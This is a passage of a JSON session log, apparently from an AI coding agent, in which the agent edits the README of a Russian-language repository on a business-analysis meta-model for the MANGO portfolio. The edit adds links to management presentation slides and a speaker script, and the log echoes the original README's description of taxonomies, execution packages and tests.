{\n[2026-09-29T07:59:51.945Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:59:51.945Z] [INFO]       \"cache_creation_input_tokens\": 1135,\n[2026-09-29T07:59:51.945Z] [INFO]       \"cache_read_input_tokens\": 66798,\n[2026-09-29T07:59:51.945Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:59:51.945Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:59:51.945Z] [INFO]         \"ephemeral_1h_input_tokens\": 1135\n[2026-09-29T07:59:51.945Z] [INFO]       },\n[2026-09-29T07:59:51.945Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:59:51.945Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:59:51.945Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:59:51.945Z] [INFO]     },\n[2026-09-29T07:59:51.945Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:59:51.945Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:59:51.945Z] [INFO]     \"context_management\": null\n[2026-09-29T07:59:51.945Z] [INFO]   },\n[2026-09-29T07:59:51.945Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:51.945Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:51.945Z] [INFO]   \"uuid\": \"4d7fc3eb-209b-4b08-afac-976e1b8596ad\",\n[2026-09-29T07:59:51.945Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:51.906Z\",\n[2026-09-29T07:59:51.945Z] [INFO]   \"request_id\": \"req_011CfXNrL71P4oGSgdUpTeWk\",\n[2026-09-29T07:59:51.945Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:59:51.945Z] [INFO]     \"toolu_01MDZhx5sme2gnchYZt1SdiX\": {\n[2026-09-29T07:59:51.945Z] [INFO]       \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/README.md\",\n[2026-09-29T07:59:51.945Z] [INFO]       \"old_string\": \"## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013]\",\n[2026-09-29T07:59:51.945Z] [INFO]       \"new_string\": \"## \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n\\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\n([issue #646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)):\\n\u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u043f\u0440\u043e\u0440\u044b\u0432 \u0432 \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0435\\n\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c \u043a \u0421\u0440\u0435\u0434\u0435 4.\\n\\n- [\u0428\u0430\u0431\u043b\u043e\u043d \u0441\u043b\u0430\u0439\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md)\\n  \u2014 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438 \u0434\u043b\u044f\\n  \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439;\\n- [\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md)\\n  \u2014 \u0442\u0435\u043a\u0441\u0442 \u043f\u043e \u0442\u0435\u043c \u0436\u0435 \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e\\n  \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013]\"\n[2026-09-29T07:59:51.945Z] [INFO]     }\n[2026-09-29T07:59:51.945Z] [INFO]   }\n[2026-09-29T07:59:51.945Z] [INFO] }\n[2026-09-29T07:59:52.260Z] [INFO] {\n[2026-09-29T07:59:52.260Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:59:52.260Z] [INFO]   \"message\": {\n[2026-09-29T07:59:52.260Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:59:52.260Z] [INFO]     \"content\": [\n[2026-09-29T07:59:52.260Z] [INFO]       {\n[2026-09-29T07:59:52.260Z] [INFO]         \"tool_use_id\": \"toolu_01MDZhx5sme2gnchYZt1SdiX\",\n[2026-09-29T07:59:52.260Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:59:52.260Z] [INFO]         \"content\": \"The file /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/README.md has been updated successfully.\"\n[2026-09-29T07:59:52.260Z] [INFO]       }\n[2026-09-29T07:59:52.260Z] [INFO]     ]\n[2026-09-29T07:59:52.260Z] [INFO]   },\n[2026-09-29T07:59:52.260Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:52.260Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:52.260Z] [INFO]   \"uuid\": \"53bbcd18-7640-44dc-9b4b-6be9a2e82a00\",\n[2026-09-29T07:59:52.260Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:52.197Z\",\n[2026-09-29T07:59:52.260Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:59:52.260Z] [INFO]     \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/README.md\",\n[2026-09-29T07:59:52.260Z] [INFO]     \"oldString\": \"## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013]\",\n[2026-09-29T07:59:52.260Z] [INFO]     \"newString\": \"## \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n\\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\n([issue #646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)):\\n\u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u043f\u0440\u043e\u0440\u044b\u0432 \u0432 \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0435\\n\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c \u043a \u0421\u0440\u0435\u0434\u0435 4.\\n\\n- [\u0428\u0430\u0431\u043b\u043e\u043d \u0441\u043b\u0430\u0439\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md)\\n  \u2014 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438 \u0434\u043b\u044f\\n  \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439;\\n- [\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md)\\n  \u2014 \u0442\u0435\u043a\u0441\u0442 \u043f\u043e \u0442\u0435\u043c \u0436\u0435 \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e\\n  \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013]\",\n[2026-09-29T07:59:52.260Z] [INFO]     \"originalFile\": \"---\\nstatus: canonical\\nversion: 1.6\\nupdated: 2026-09-28\\ntemperature: 0.1\\nscope: mango-only\\ntype: research\\n---\\n\\n# BA AI Process \u2014 Source \u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n\\n\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 **\u00ab\u043a\u0430\u043a \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e\\n\u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044f MANGO \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445\u00bb**: \u043a\u0430\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n\u0440\u0430\u0431\u043e\u0442\u0443, \u043a\u0430\u043a\u0438\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043e\u043d\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u0438 \u0432 \u043a\u0430\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u0435\\n\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0433\u0435\u043d\u0442\u0443. GigaCode CLI \u2014 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0430; Cline \u0441 Mango AI\\n\u0438 Qwen Chat \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0438\u043b\u043e\u0442\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b \u043f\u043e\\n[issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615).\\n\\n\u042d\u0442\u043e **\u0434\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432**, \u0430 \u043d\u0435 \u043e\u0431\u0449\u0430\u044f \u0440\u0430\u043c\u043a\u0430. \u0412\u0441\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u043c\u043e\u0434\u0443\u043b\u044f \u043d\u0435\u0441\u0443\u0442\\n`scope: mango-only`. \u0417\u0434\u0435\u0441\u044c `mango-only` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 **\u0432\u0435\u0441\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044c\\nMANGO** (\u0432\u0441\u0435 \u0434\u043e\u043c\u0435\u043d\u044b \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0441\u043d\u0438\u043c\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438), \u0430 \u043d\u0435 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u044b\u0439 \u0446\u0435\u043d\u0442\u0440 \u0438\u043b\u0438 \u043b\u044e\u0431\u043e\u0439\\n\u0434\u0440\u0443\u0433\u043e\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u043c\u0435\u043d. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438/\u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044e;\\n\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 (\u0437\u0430\u0434\u0430\u0447\u0430 `B-158`), \u0430 \u043d\u0435\\n\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n[`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md).\\n\\n## \u041f\u043e\u0447\u0435\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u0438 \u0436\u0438\u0432\u0443\u0442 \u0437\u0434\u0435\u0441\u044c\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u043e\\n[`standards/project-structure-inheritance.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/project-structure-inheritance.md):\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0436\u0438\u0432\u0451\u0442 \u0432 `projects/<\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435>/`, \u0430 \u043e\u0431\u0449\u0438\u0439\\n\u043a\u0430\u0442\u0430\u043b\u043e\u0433 `research/` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0439 \u0440\u0430\u043c\u043a\u043e\u0439. \u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e \u0432\\n[PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572),\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0437\u0430\u0434\u0430\u0447\u0435\u0439 `B-155`\\n([#573](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/573)).\\n\\n\u041a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u043e\u0440\u043c\u0443\\n[Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md),\\n\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0442\u0435\u0441\u0442\u044b \u0438 \u043f\u0430\u043a\u0435\u0442 \u0438\u043c\u0435\u044e\u0442 \u0444\u043e\u0440\u043c\u0443 \u0441\u0432\u043e\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432\u043b\u043e\u0436\u0435\u043d\u044b \u0432 `ba-meta-model/`: \u044d\u0442\u043e \u0447\u0430\u0441\u0442\u0438 \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435\\n\u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438.\\n\\n## \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Source\\n\\n- [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md)\\n  \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410 (issue\\n  [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563),\\n  \u0432\u0435\u0440\u0441\u0438\u044f 0.2 \u2014 [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n  \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 `MM-1`\u2026`MM-4`,\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u0440\u0435\u0435\u0441\u0442\u0440 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u0438 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n  `DP-1`\u2026`DP-5`, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435\u043c `LG-1`\u2026`LG-6`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n  `SKILL.md` (`SK-0`\u2026`SK-10`), \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u043b\u0438\u0441\u0442, Golden Set \u0438 \u043f\u043b\u0430\u043d \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n  MVP-\u0441\u0440\u0435\u0437\u0430 \u0441 \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438 `M-1`\u2026`M-5`. \u0412\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435\\n  [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/00-introduction.md)\\n  \u0438 [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md)\\n  \u0437\u0430\u0434\u0430\u044e\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e 33 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e;\\n  [`product-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/product-taxonomy)\\n  \u0445\u0440\u0430\u043d\u0438\u0442 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 capabilities MANGO \u0438 \u0438\u0445 42\\n  \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0439 \u0418\u0422/\u0442\u0435\u043b\u0435\u043a\u043e\u043c \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0432 Distribution.\\n- [`meta-model-guides/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/meta-model-guides/README.md)\\n  \u2014 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443: \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0447\u0438\u0441\u0442\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 KB,\\n  Confluence MCP, \u0437\u0430\u043f\u0443\u0441\u043a/\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 task \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 debug.\\n- [`tests/execution-package/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/tests/execution-package/README.md)\\n  \u2014 mock-fixtures, assertions \u0438 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0433\u0440\u0430\u0444\u0430 \u0431\u0435\u0437 LLM \u0438 MCP.\\n- [`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md)\\n  \u2014 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u0441 `.gigacode/skills/`, \u044f\u0432\u043d\u044b\u043c dispatcher, debug-\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438, \u0433\u0440\u0430\u0444\u043e\u043c, Golden Set \u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c `G-mach`.\\n- [`dist/execution-package-cline-vscode/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-621-bd8c46c08849/projects/ba-ai-process/dist/execution-package-cline-vscode/README.md)\\n  \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0438\u043b\u043e\u0442 Cline \u0434\u043b\u044f \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e BCREQ Working \u2192 Release \u0441 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u043c\u0438\\n  hooks, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c runner, CI gate, trace \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0437\u043d\u0430\u043d\u0438\u044f; Source\\n  \u0441\u0431\u043e\u0440\u043a\u0438 \u2014 `build/common/` \u0438 `build/adapters/cline-vscode/`.\\n- [`meta-model-guides/qwen-chat-runtime-migration-instruction.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/meta-model-guides/qwen-chat-runtime-migration-instruction.md)\\n  \u2014 \u043c\u0430\u043d\u0434\u0430\u0442 \u0434\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0430 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0443 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runtime \u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c\u0443\\n  quick-check \u0432 Qwen Chat; \u044d\u0442\u043e \u043d\u0435 execution package.\\n\\n\u041f\u0430\u043a\u0435\u0442 \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 RRP-\u043c\u043e\u0434\u0443\u043b\u044c. \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e,\\n\u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432\\n[\u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml).\\n\u0415\u0433\u043e `docs/kb/.gitkeep` \u0438 `meta-model/.gitkeep` \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0442 copy-time \u0432\u0445\u043e\u0434\u044b; \u043f\u0430\u043a\u0435\u0442\\n\u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 